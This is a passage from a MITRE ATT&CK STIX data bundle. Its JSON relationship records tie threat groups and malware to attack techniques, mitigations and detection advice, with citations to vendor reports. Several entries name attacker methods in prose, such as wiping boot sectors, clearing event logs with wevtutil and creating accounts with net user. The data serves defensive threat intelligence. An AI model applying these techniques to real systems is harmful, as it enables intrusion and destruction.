2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html","description":"Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.","source_name":"Villeneuve 2014"}],"modified":"2019-03-25T16:51:54.146Z","description":"(Citation: Villeneuve 2014)","relationship_type":"uses","source_ref":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","target_ref":"malware--251fbae2-78f6-4de7-84f6-194c727a64ad","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71449072-84c5-461c-9bba-2caa81051499","created":"2022-06-13T15:18:32.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Lyceum Targets November 2021","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns"},{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T17:39:23.424Z","description":"[Shark](https://attack.mitre.org/software/S1019) can upload files to its C2.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7145e20d-4c16-47bf-bf13-40b4e031d0e5","created":"2024-05-22T22:55:27.115Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:55:27.115Z","description":"[BFG Agonizer](https://attack.mitre.org/software/S1136) retrieves a device handle to \\\\\\\\.\\\\PhysicalDrive0 to wipe the boot sector of a given disk.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--d6aefbbf-fbef-485a-973e-b5403d8f8b18","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71485f5d-f685-403d-a0da-72acbae0f79e","created":"2023-02-23T18:00:17.156Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T18:00:17.156Z","description":"(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7148e604-1e3a-4a37-be3e-cde2fe20f9b6","type":"relationship","created":"2021-08-19T16:54:59.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T16:54:59.579Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has disguised malicious programs as Google Chrome, Adobe, and VMware executables.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--714ba6ae-8c53-4ce1-81f4-4ca81bbdb9b7","type":"relationship","created":"2020-03-24T15:04:44.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-08T17:10:31.297Z","description":"Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--714ecf14-6200-4edf-9a9c-dd9830831266","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.694Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) enumerates directories and scans for certain files.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--715262b6-9d31-4589-ba53-fb5d7be3f1f5","type":"relationship","created":"2021-04-12T16:09:30.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.598Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used malware to identify installed software.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--715d1910-181b-47a8-9b3c-86cba51b8ba4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.justice.gov/file/1080281/download","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","source_name":"DOJ GRU Indictment Jul 2018"}],"modified":"2019-09-09T17:44:35.018Z","description":"[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--715faca6-f933-45b5-bb56-45cedf9dd18c","created":"2024-09-19T14:24:42.599Z","revoked":false,"external_references":[{"source_name":"SecureWorks September 2019","description":"SecureWorks 2019, September 24 REvil/Sodinokibi Ransomware Retrieved. 2021/04/12 ","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:24:42.599Z","description":"[REvil](https://attack.mitre.org/software/S0496) attempts to create a mutex using a hard-coded value to ensure that no other instances of itself are running on the host.(Citation: SecureWorks September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7161bcc6-61fd-41d6-bb3d-806bad40093d","created":"2022-03-30T14:26:51.869Z","x_mitre_version":"0.1","external_references":[{"source_name":"BSidesSLC 2020 - LNK Elastic","url":"https://www.youtube.com/watch?v=nJ0UsyiUEqQ","description":"French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic) Analysis should attempt to relate shortcut creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.","modified":"2022-04-20T01:56:41.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--716975f1-af44-4d45-af4e-29ad68ce3fb3","type":"relationship","created":"2020-11-13T20:23:31.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:41.516Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can list installed security products including the Trusteer and Diebold Warsaw GAS Tecnologia online banking protections.(Citation: ESET Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--716cdd64-44c3-433d-a5eb-7934b6ea713e","created":"2023-03-02T19:03:38.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:25:49.849Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can clear Windows event logs using `wevtutil.exe`.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--717079c0-7f34-42f6-927f-9ee321447c13","created":"2022-04-18T16:23:23.120Z","x_mitre_version":"0.1","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can use HTTP to download previously staged shellcode payloads.(Citation: Donut Github)","modified":"2022-04-18T16:23:23.120Z","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--717442d5-dd5a-4658-87e1-33f727dd1fa2","created":"2022-01-09T22:23:04.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.679Z","description":"[Zox](https://attack.mitre.org/software/S0672) has the ability to use SMB for communication.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--717cce1c-bbb9-4735-80d0-3d13ea56f248","created":"2022-04-09T15:06:43.300Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use `WinAPI` to remove a victim machine from an Active Directory domain.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-10T17:06:14.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--717d87d5-df97-48a9-8766-c9a947541e1d","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:19:11.071Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a command to perform screen captures.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--717fc490-5128-488e-abd0-7af273d3be1f","created":"2024-07-01T20:08:01.053Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:08:01.053Z","description":"Monitor for newly constructed logon behavior across the CRM software which can be configured to report access to certain information. As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71819612-01e7-48cf-89ea-09da4f05c2e8","created":"2022-09-22T21:48:01.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:41:24.077Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net user` command to gather account information.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71856525-a57e-4d17-9057-fdf998773016","created":"2022-09-30T21:14:12.377Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T21:14:12.377Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.865Z","description":"The net user username \\password commands in [Net](https://attack.mitre.org/software/S0039) can be used to create a local account.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--718851be-6d2e-4073-86e1-d331198e2bc3","type":"relationship","created":"2021-04-07T18:07:47.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-10-16T01:49:39.324Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has disguised itself as a known Linux process.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--718b8ec5-a10a-46e1-96e2-14ceb3835b1e","created":"2021-12-27T16:53:13.987Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Feb 2018","url":"https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html","description":"Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021."},{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has exploited Microsoft Office vulnerabilities, including CVE-2015-1641, CVE-2017-11882, and CVE-2018-0802.(Citation: Uptycs Confucius APT Jan 2021)(Citation: TrendMicro Confucius APT Feb 2018)","modified":"2022-06-30T20:15:32.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--718fad77-0006-461a-9a46-337defcf44ac","type":"relationship","created":"2020-01-22T15:05:05.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-22T15:05:05.777Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--71935bd0-44ca-4d2b-850d-707bc4db91d5","created":"2022-10-19T16:00:21.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T18:21:13.333Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) can gather the device serial number and has checked to ensure there is enough disk space using the Unix utility `df`.(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7193ed4c-7169-46fa-9294-d74d912510d0","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.626Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7194f06c-abd5-4ff8-ad95-2449adaa4c13","type":"relationship","created":"2020-03-11T14:43:31.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:43:31.822Z","description":"If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block 